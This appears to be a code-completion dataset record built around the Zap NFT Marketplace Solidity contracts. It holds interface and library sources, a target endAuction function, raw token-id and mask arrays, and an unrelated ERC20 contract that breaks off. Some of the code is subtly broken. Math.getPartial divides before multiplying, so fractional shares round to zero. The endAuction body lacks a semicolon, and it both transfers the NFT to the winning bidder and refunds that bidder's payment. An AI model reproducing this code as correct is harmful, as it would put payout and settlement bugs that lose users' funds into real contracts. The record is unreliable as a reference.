returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; import {Decimal} from '../Decimal.sol'; /** * @title Interface for Zap NFT Marketplace Protocol's Market */ interface IMarket { struct Bid { // Amount of the currency being bid uint256 amount; // Address to the ERC20 token being used to bid address currency; // Address of the bidder address bidder; // Address of the recipient address recipient; // % of the next sale to award the current owner Decimal.D256 sellOnShare; } struct Ask { // Amount of the currency being asked uint256 amount; // Address to the ERC20 token being asked address currency; } struct BidShares { Decimal.D256 creator; // % of sale value that goes to the seller (current owner) of the nft Decimal.D256 owner; // Array that holds all the collaborators address[] collaborators; // % of sale value that goes to the fourth collaborator of the nft uint256[] collabShares; // Decimal.D256[] collaborators; } struct PlatformFee { // % of sale value that goes to the Vault Decimal.D256 fee; } event BidCreated( address indexed mediaContract, uint256 indexed tokenId, Bid bid ); event BidRemoved( uint256 indexed tokenId, Bid bid, address indexed mediaContract ); event BidFinalized( uint256 indexed tokenId, Bid bid, address indexed mediaContract ); event AskCreated( address indexed mediaContract, uint256 indexed tokenId, Ask ask ); event AskRemoved( uint256 indexed tokenId, Ask ask, address indexed mediaContract ); event BidShareUpdated( uint256 indexed tokenId, BidShares bidShares, address indexed mediaContract ); event MediaContractCreated( address indexed mediaContract, bytes32 name, bytes32 symbol ); event Minted(uint256 indexed token, address indexed mediaContract); event Burned(uint256 indexed token, address indexed mediaContract); function bidForTokenBidder( address mediaContractAddress, uint256 tokenId, address bidder ) external view returns (Bid memory); function currentAskForToken(address mediaContractAddress, uint256 tokenId) external view returns (Ask memory); function bidSharesForToken(address mediaContractAddress, uint256 tokenId) external view returns (BidShares memory); function isValidBid( address mediaContractAddress, uint256 tokenId, uint256 bidAmount ) external view returns (bool); function isValidBidShares(BidShares calldata bidShares) external view returns (bool); function splitShare(Decimal.D256 calldata sharePercentage, uint256 amount) external pure returns (uint256); function isRegistered(address mediaContractAddress) external view returns (bool); function configure( address deployer, address mediaContract, bytes32 name, bytes32 symbol ) external; function revokeRegistration(address mediaContract) external; function registerMedia(address mediaContract) external; function setMediaFactory(address _mediaFactory) external; function mintOrBurn( bool isMint, uint256 tokenId, address mediaContract ) external; function setBidShares(uint256 tokenId, BidShares calldata bidShares) external; function setAsk(uint256 tokenId, Ask calldata ask) external; function removeAsk(uint256 tokenId) external; function setBid( uint256 tokenId, Bid calldata bid, address spender ) external; function removeBid(uint256 tokenId, address bidder) external; function acceptBid( address mediaContractAddress, uint256 tokenId, Bid calldata expectedBid ) external; } /* Copyright 2019 dYdX Trading Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; /** * NOTE: This file is a clone of the dydx protocol's Decimal.sol contract. It was forked from https://github.com/dydxprotocol/solo * at commit 2d8454e02702fe5bc455b848556660629c3cad36 * * It has two modifications: * - it uses a newer solidity in the pragma to match the rest of the contract suite of this project * - it uses BASE_POW to add a level of abstraction for BASE */ import {SafeMath} from '@openzeppelin/contracts/utils/math/SafeMath.sol'; import {Math} from './Math.sol'; /** * @title Decimal * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMath for uint256; // ============ Constants ============ uint256 constant BASE_POW = 18; uint256 constant BASE = 10**BASE_POW; // ============ Structs ============ struct D256 { uint256 value; } // ============ Functions ============ function one() internal pure returns (D256 memory) { return D256({value: BASE}); } function onePlus(D256 memory d) internal pure returns (D256 memory) { return D256({value: d.value.add(BASE)}); } function mul(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, d.value, BASE); } function div(uint256 target, D256 memory d) internal pure returns (uint256) { return Math.getPartial(target, BASE, d.value); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; import {IMarket} from './IMarket.sol'; /** * @title Interface for Zap NFT Marketplace Protocol's Media */ interface IMedia { struct EIP712Signature { uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct MediaData { // A valid URI of the content represented by this token string tokenURI; // A valid URI of the metadata associated with this token string metadataURI; // A KECCAK256 hash of the content pointed to by tokenURI bytes32 contentHash; // A KECCAK256 hash of the content pointed to by metadataURI bytes32 metadataHash; } event TokenURIUpdated(uint256 indexed _tokenId, address owner, string _uri); event TokenMetadataURIUpdated( uint256 indexed _tokenId, address owner, string _uri ); function initialize( string memory name, string memory symbol, address marketContractAddr, bool permissive, string memory collectionMetadata ) external; /** * @notice Return the metadata URI for a piece of media given the token URI */ function tokenMetadataURI(uint256 tokenId) external view returns (string memory); /** * @notice Mint new media for msg.sender. */ function mint(MediaData calldata data, IMarket.BidShares calldata bidShares) external; /** * @notice EIP-712 mintWithSig method. Mints new media for a creator given a valid signature. */ function mintWithSig( address creator, MediaData calldata data, IMarket.BidShares calldata bidShares, EIP712Signature calldata sig ) external; /** * @notice Transfer the token with the given ID to a given address. * Save the previous owner before the transfer, in case there is a sell-on fee. * @dev This can only be called by the auction contract specified at deployment */ function auctionTransfer(uint256 tokenId, address recipient) external; /** * @notice Set the ask on a piece of media */ function setAsk(uint256 tokenId, IMarket.Ask calldata ask) external; /** * @notice Remove the ask on a piece of media */ function removeAsk(uint256 tokenId) external; /** * @notice Set the bid on a piece of media */ function setBid(uint256 tokenId, IMarket.Bid calldata bid) external; /** * @notice Remove the bid on a piece of media */ function removeBid(uint256 tokenId) external; function acceptBid(uint256 tokenId, IMarket.Bid calldata bid) external; /** * @notice Revoke approval for a piece of media */ function revokeApproval(uint256 tokenId) external; /** * @notice Update the token URI */ function updateTokenURI(uint256 tokenId, string calldata tokenURI) external; /** * @notice Update the token metadata uri */ function updateTokenMetadataURI( uint256 tokenId, string calldata metadataURI ) external; /** * @notice EIP-712 permit method. Sets an approved spender given a valid signature. */ function permit( address spender, uint256 tokenId, EIP712Signature calldata sig ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; /** * @title Interface for Auction Houses */ interface IAuctionHouse { struct TokenDetails { // ID for the ERC721 token uint256 tokenId; // Address for the ERC721 contract // address tokenContract; // Address of the media that minted the token address mediaContract; } struct Auction { TokenDetails token; // Whether or not the auction curator has approved the auction to start bool approved; // The current highest bid amount uint256 amount; // The length of time to run the auction for, after the first bid was made uint256 duration; // The time of the first bid uint256 firstBidTime; // The minimum price of the first bid uint256 reservePrice; // The sale percentage to send to the curator uint8 curatorFeePercentage; // The address that should receive the funds once the NFT is sold. address tokenOwner; // The address of the current highest bid address payable bidder; // The address of the auction's curator. // The curator can reject or approve an auction address payable curator; // The address of the ERC-20 currency to run the auction with. // If set to 0x0, the auction will be run in ETH address auctionCurrency; } event AuctionCreated( uint256 indexed auctionId, uint256 tokenId, address indexed mediaContract, uint256 duration, uint256 reservePrice, address tokenOwner, address curator, uint8 curatorFeePercentage, address auctionCurrency ); event AuctionApprovalUpdated( uint256 indexed auctionId, uint256 indexed tokenId, address indexed mediaContract, bool approved ); event AuctionReservePriceUpdated( uint256 indexed auctionId, uint256 indexed tokenId, address indexed mediaContract, uint256 reservePrice ); event AuctionBid( uint256 indexed auctionId, uint256 tokenId, address mediaContract, address sender, uint256 value, bool firstBid, bool extended ); event AuctionDurationExtended( uint256 indexed auctionId, uint256 tokenId, address indexed mediaContract, uint256 duration ); event AuctionEnded( uint256 indexed auctionId, uint256 tokenId, address indexed mediaContract, address tokenOwner, address curator, address winner, uint256 amount, uint256 curatorFee, address auctionCurrency ); event AuctionCanceled( uint256 indexed auctionId, uint256 indexed tokenId, address indexed mediaContract, address tokenOwner ); function createAuction( uint256 tokenId, address mediaContract, uint256 duration, uint256 reservePrice, address payable curator, uint8 curatorFeePercentages, address auctionCurrency ) external returns (uint256); function startAuction(uint256 auctionId, bool approved) external; function setAuctionReservePrice(uint256 auctionId, uint256 reservePrice) external; function createBid( uint256 auctionId, uint256 amount, address mediaContract ) external payable; function endAuction(uint256 auctionId, address mediaContract) external; function cancelAuction(uint256 auctionId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; /** * @title Math * * Library for non-standard Math functions * NOTE: This file is a clone of the dydx protocol's Math.sol contract. * It was forked from https://github.com/dydxprotocol/solo at commit * 2d8454e02702fe5bc455b848556660629c3cad36. It has two modifications * - uses a newer solidity in the pragma to match the rest of the contract suite of this project. * - Removed `Require.sol` dependency */ library Math { // ============ Library Functions ============ /* * Return target * (numerator / denominator). */ function getPartial( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { return target * (numerator / denominator); } /* * Return target * (numerator / denominator), but rounded up. */ function getPartialRoundUp( uint256 target, uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (target == 0 || numerator == 0) { // SafeMath will check for zero denominator return 0 / denominator; } return target * ((numerator - 1) / denominator) + 1; } function to128(uint256 number) internal pure returns (uint128) { require(number<=type(uint128).max, "Math: Unsafe cast to uint128"); uint128 result = uint128(number); return result; } function to96(uint256 number) internal pure returns (uint96) { require(number<=type(uint96).max, "Math: Unsafe cast to uint96"); uint96 result = uint96(number); return result; } function to32(uint256 number) internal pure returns (uint32) { require(number<=type(uint32).max, "Math: Unsafe cast to uint32"); uint32 result = uint32(number); return result; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } }
* @notice End an auction, finalizing the bid on Zap NFT Marketplace if applicable and paying out the respective parties. @dev If for some reason the auction cannot be finalized (invalid token recipient, for example), The auction is reset and the NFT is transferred back to the auction creator./ If the auction is running on mediaContract, settle it on the protocol
function endAuction(uint256 auctionId, address mediaContract) external override auctionExists(auctionId) nonReentrant { require( uint256(auctions[auctionId].firstBidTime) != 0, "Auction hasn't begun" ); require( block.timestamp >= auctions[auctionId].firstBidTime.add( auctions[auctionId].duration ), "Auction hasn't completed" ); address currency = auctions[auctionId].auctionCurrency == address(0) ? wethAddress : auctions[auctionId].auctionCurrency; uint256 curatorFee = 0; uint256 tokenOwnerProfit = auctions[auctionId].amount; if (auctions[auctionId].token.mediaContract == mediaContract) { ( bool success, uint256 remainingProfit ) = _handleZapAuctionSettlement(auctionId, mediaContract); tokenOwnerProfit = remainingProfit; if (success != true) { _handleOutgoingBid( auctions[auctionId].bidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency ); _cancelAuction(auctionId); return; } IERC721Upgradeable(auctions[auctionId].token.mediaContract) .safeTransferFrom( address(this), auctions[auctionId].bidder, auctions[auctionId].token.tokenId ) _handleOutgoingBid( auctions[auctionId].bidder, auctions[auctionId].amount, auctions[auctionId].auctionCurrency ); _cancelAuction(auctionId); return; } }
6,999,512
[ 1, 1638, 392, 279, 4062, 16, 727, 6894, 326, 9949, 603, 2285, 438, 423, 4464, 6622, 24577, 309, 12008, 471, 8843, 310, 596, 326, 17613, 1087, 606, 18, 225, 971, 364, 2690, 3971, 326, 279, 4062, 2780, 506, 727, 1235, 261, 5387, 1147, 8027, 16, 364, 3454, 3631, 1021, 279, 4062, 353, 2715, 471, 326, 423, 4464, 353, 906, 4193, 1473, 358, 326, 279, 4062, 11784, 18, 19, 971, 326, 279, 4062, 353, 3549, 603, 3539, 8924, 16, 444, 5929, 518, 603, 326, 1771, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 679, 37, 4062, 12, 11890, 5034, 279, 4062, 548, 16, 1758, 3539, 8924, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 279, 4062, 4002, 12, 69, 4062, 548, 13, 203, 3639, 1661, 426, 8230, 970, 203, 565, 288, 203, 3639, 2583, 12, 203, 5411, 2254, 5034, 12, 69, 4062, 87, 63, 69, 4062, 548, 8009, 3645, 17763, 950, 13, 480, 374, 16, 203, 5411, 315, 37, 4062, 13342, 1404, 16847, 318, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 1203, 18, 5508, 1545, 203, 7734, 279, 4062, 87, 63, 69, 4062, 548, 8009, 3645, 17763, 950, 18, 1289, 12, 203, 10792, 279, 4062, 87, 63, 69, 4062, 548, 8009, 8760, 203, 7734, 262, 16, 203, 5411, 315, 37, 4062, 13342, 1404, 5951, 6, 203, 3639, 11272, 203, 203, 3639, 1758, 5462, 273, 279, 4062, 87, 63, 69, 4062, 548, 8009, 69, 4062, 7623, 422, 1758, 12, 20, 13, 203, 5411, 692, 341, 546, 1887, 203, 5411, 294, 279, 4062, 87, 63, 69, 4062, 548, 8009, 69, 4062, 7623, 31, 203, 3639, 2254, 5034, 662, 639, 14667, 273, 374, 31, 203, 203, 3639, 2254, 5034, 1147, 5541, 626, 7216, 273, 279, 4062, 87, 63, 69, 4062, 548, 8009, 8949, 31, 203, 203, 3639, 309, 261, 69, 4062, 87, 63, 69, 4062, 548, 8009, 2316, 18, 5829, 8924, 422, 3539, 8924, 13, 288, 203, 5411, 261, 203, 7734, 1426, 2216, 16, 203, 7734, 2254, 5034, 4463, 626, 7216, 203, 5411, 262, 273, 389, 4110, 62, 438, 37, 4062, 694, 88, 806, 2 ]
pragma solidity ^0.5.8; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) 